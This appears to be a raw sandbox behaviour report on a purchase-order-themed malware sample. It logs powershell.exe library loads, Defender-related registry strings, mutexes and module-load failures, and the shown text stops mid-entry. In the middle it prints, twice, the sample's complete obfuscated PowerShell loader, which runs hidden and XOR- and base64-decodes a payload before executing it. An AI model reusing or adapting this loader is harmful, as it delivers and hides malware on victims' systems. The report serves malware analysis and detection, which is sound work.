"powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\468fa5ae84991aaf4d90ecee8788f024\Microsoft.PowerShell.Commands (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00000864)36:T902,"\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00000864.00000000.293247.FAD90000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00000864.00000000.293247.FAD90000.00000004.mdmp "\Software\Classes\AppID\powershell.exe" in Source: 00000000-00000864.00000000.293247.FAD90000.00000004.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00000864.00000001.295166.C3B83000.00000002.mdmp 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00000864.00000001.295166.C3B83000.00000002.mdmp 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00000864.00000001.295166.C3B83000.00000002.mdmp 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000864.00000001.295166.FAD90000.00000004.mdmp 00000000-00000864.00000002.296961.FAE4F000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000864.00000001.295166.FD170000.00000004.mdmp 00000000-00000864.00000002.296961.FD170000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\POLICY MANAGER" in Source: 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER" in Source: 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "HKLM\" in Source: 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "Software\Microsoft\RemovalTools\MRT" in Source: 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "Registry\Machine\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server" in Source: 00000000-00000864.00000002.296961.FD246000.00000004.mdmp37:T8fa,Process HJGROUPS-PURCHASEORDER#170331.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7312:304:WilStaging_02" Process HJGROUPS-PURCHASEORDER#170331.exe created mutex with name "Local\SM0:7312:304:WilStaging_02" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3572:304:WilStaging_02" Process cmd.exe created mutex with name "Local\SM0:3572:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5088:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5088:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5088:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults" Process powershell.exe created mutex with name "Local\SM0:5088:120:WilError_03" Process powershell.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "SM0:5088:120:WilError_03" Process powershell.exe created mutex with name "Local\SM0:5088:304:WilStaging_02" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:864:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:864:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:864:120:WilError_03" Process powershell.exe created mutex with name "Local\SM0:864:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:864:120:WilError_03" Process powershell.exe created mutex with name "SM0:864:120:WilError_03" Process powershell.exe created mutex with name "\BaseNamedObjects\RasPbFile"38:T1955,Process "powershell.exe" with commandline "C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Command "Start-Process $env:SystemRoot\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \\"$j=92-52;$xdwMRWE=''NV3Latpq'';$li8WT7BZ=''e9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b49093fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa1979d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb87a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe84ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d949ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908ef088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4bd84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caebdaefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b49192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aaba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98fe3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a893f8828aada9be899ef59fe3fabbf2'';$xVRcCKBZ=''ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgtibm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKWWoIfV1PQmJ3YgFqaQZ1UXlvD3oYb0pKS3YEdV1CCXdvYhJwVw1sSmh3B3dXRAINMjhCdglIQww6Jwg3fVJ2UHp3D3odWn5leHcPb1VVSlZGOVxaRkREUH5KCGpAQEtHfitCSx1cHgB1LS93Qk5OQTMnCTUQUQxZFglrExBKGGQzK0FxQFUCBDAjQWkODgpeYm0PdFMPRkt2LFc3XlFCAzIvTj5cVVFUISxJKAQWCxUsMEgrEwEOBDwxUTcNGApNdmRJKBpLVUM8Kk8UPkhDDDMnASRQAQFPMi4Hd1AJAVAmWDJ8TFULYXVgCX1dT0J5ITkzTXIZC2N+dzVtRkhLQzMnATAdDEhFb2AOPggddnBaJEYyFAZ3cCU9TjceHgwYJ0YoXQofAg1gDmw5FAVCQ30jWzkTVV1QNWcDX3VHY0A0O0khAA8RFiktXzcCEBcLNDkBalJKQkJzZRV/R0UCBCAjQn5TRwUZOycBflIPdlF5cBJrXU9CDCsvRj1TRkMKV2YIfkBJBQk7MlQwOSsBSDs+Rj4EBgUfFglGORQBTAQzWCV2WldAVm9eXCNyU0pJWWIVfAIVdlBpagh+HAVoRW9gDnxHehR5MipGPllYVVZ0ZBR4WQ9tS3ZmA2oTAQJWbm0VahMBZQw/ZAF/GAEBSDcjQT4YAQJpaGETcFhFAgg7JFY+FA0FA2M1Uj4dLC8EOyNGXlFVCHRpbAV8R1JZV3RxEjl3cXAENmcDalddVkF3ZgVtFAxDTWlwEjkBXUNQO00HdFENZnROIxsUPiwvBDsjRjkUAQUEOw=='';$aCAWnrhG3=0x223A-0x261F;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0xAA)};$z4X30pe=$dMWc1oD74;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0x55)};$vM9zbd0=$dMWc1oD74;$dMWc1oD74oldR='''';$i=0;for($j=0;$j-lt$li8WT7BZ.Length;$j+=2){$dMWc1oD74oldR+=[char](([Convert]::ToInt32($li8WT7BZ.Substring($j,2),16))-bxor$z4X30pe[$i++%$z4X30pe.Length])};$uox2SvXt5=$dMWc1oD74oldR;$dMWc1oD74oldB=[Convert]::FromBase64String([regex]::Replace($xVRcCKBZ, ''$dMWc1oD74'', ''''));$dMWc1oD74oldR='''';$i=0;for($j=0;$j-lt$dMWc1oD74oldB.Length;$j++){$dMWc1oD74oldR+=[char]($dMWc1oD74oldB[$j]-bxor$vM9zbd0[$i++%$vM9zbd0.Length])};$j3Ztrqpsu=$dMWc1oD74oldR;$hXCVgQEI0=$uox2SvXt5+$j3Ztrqpsu;.($env:ComSpec[4,26,25]-join'''') $hXCVgQEI0"'"" (UID: 00000000-00005088) Process "powershell.exe" with commandline "-Command "$j=92-52;$xdwMRWE='NV3Latpq';$li8WT7BZ='e9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b49093fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa1979d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb87a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe84ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d949ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908ef088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4bd84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caebdaefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b49192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aaba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98fe3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a893f8828aada9be899ef59fe3fabbf2';$xVRcCKBZ='ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgtibm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKWWoIfV1PQmJ3YgFqaQZ1UXlvD3oYb0pKS3YEdV1CCXdvYhJwVw1sSmh3B3dXRAINMjhCdglIQww6Jwg3fVJ2UHp3D3odWn5leHcPb1VVSlZGOVxaRkREUH5KCGpAQEtHfitCSx1cHgB1LS93Qk5OQTMnCTUQUQxZFglrExBKGGQzK0FxQFUCBDAjQWkODgpeYm0PdFMPRkt2LFc3XlFCAzIvTj5cVVFUISxJKAQWCxUsMEgrEwEOBDwxUTcNGApNdmRJKBpLVUM8Kk8UPkhDDDMnASRQAQFPMi4Hd1AJAVAmWDJ8TFULYXVgCX1dT0J5ITkzTXIZC2N+dzVtRkhLQzMnATAdDEhFb2AOPggddnBaJEYyFAZ3cCU9TjceHgwYJ0YoXQofAg1gDmw5FAVCQ30jWzkTVV1QNWcDX3VHY0A0O0khAA8RFiktXzcCEBcLNDkBalJKQkJzZRV/R0UCBCAjQn5TRwUZOycBflIPdlF5cBJrXU9CDCsvRj1TRkMKV2YIfkBJBQk7MlQwOSsBSDs+Rj4EBgUfFglGORQBTAQzWCV2WldAVm9eXCNyU0pJWWIVfAIVdlBpagh+HAVoRW9gDnxHehR5MipGPllYVVZ0ZBR4WQ9tS3ZmA2oTAQJWbm0VahMBZQw/ZAF/GAEBSDcjQT4YAQJpaGETcFhFAgg7JFY+FA0FA2M1Uj4dLC8EOyNGXlFVCHRpbAV8R1JZV3RxEjl3cXAENmcDalddVkF3ZgVtFAxDTWlwEjkBXUNQO00HdFENZnROIxsUPiwvBDsjRjkUAQUEOw==';$aCAWnrhG3=0x223A-0x261F;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0xAA)};$z4X30pe=$dMWc1oD74;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0x55)};$vM9zbd0=$dMWc1oD74;$dMWc1oD74oldR='';$i=0;for($j=0;$j-lt$li8WT7BZ.Length;$j+=2){$dMWc1oD74oldR+=[char](([Convert]::ToInt32($li8WT7BZ.Substring($j,2) 16))-bxor$z4X30pe[$i++%$z4X30pe.Length])};$uox2SvXt5=$dMWc1oD74oldR;$dMWc1oD74oldB=[Convert]::FromBase64String([regex]::Replace($xVRcCKBZ, '$dMWc1oD74', ''));$dMWc1oD74oldR='';$i=0;for($j=0;$j-lt$dMWc1oD74oldB.Length;$j++){$dMWc1oD74oldR+=[char]($dMWc1oD74oldB[$j]-bxor$vM9zbd0[$i++%$vM9zbd0.Length])};$j3Ztrqpsu=$dMWc1oD74oldR;$hXCVgQEI0=$uox2SvXt5+$j3Ztrqpsu;.($env:ComSpec[4,26,25]-join'') $hXCVgQEI0" (UID: 00000000-00000864)39:Tfe2,"HJGROUPS-PURCHASEORDER#170331.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "HJGROUPS-PURCHASEORDER#170331.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "HJGROUPS-PURCHASEORDER#170331.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module 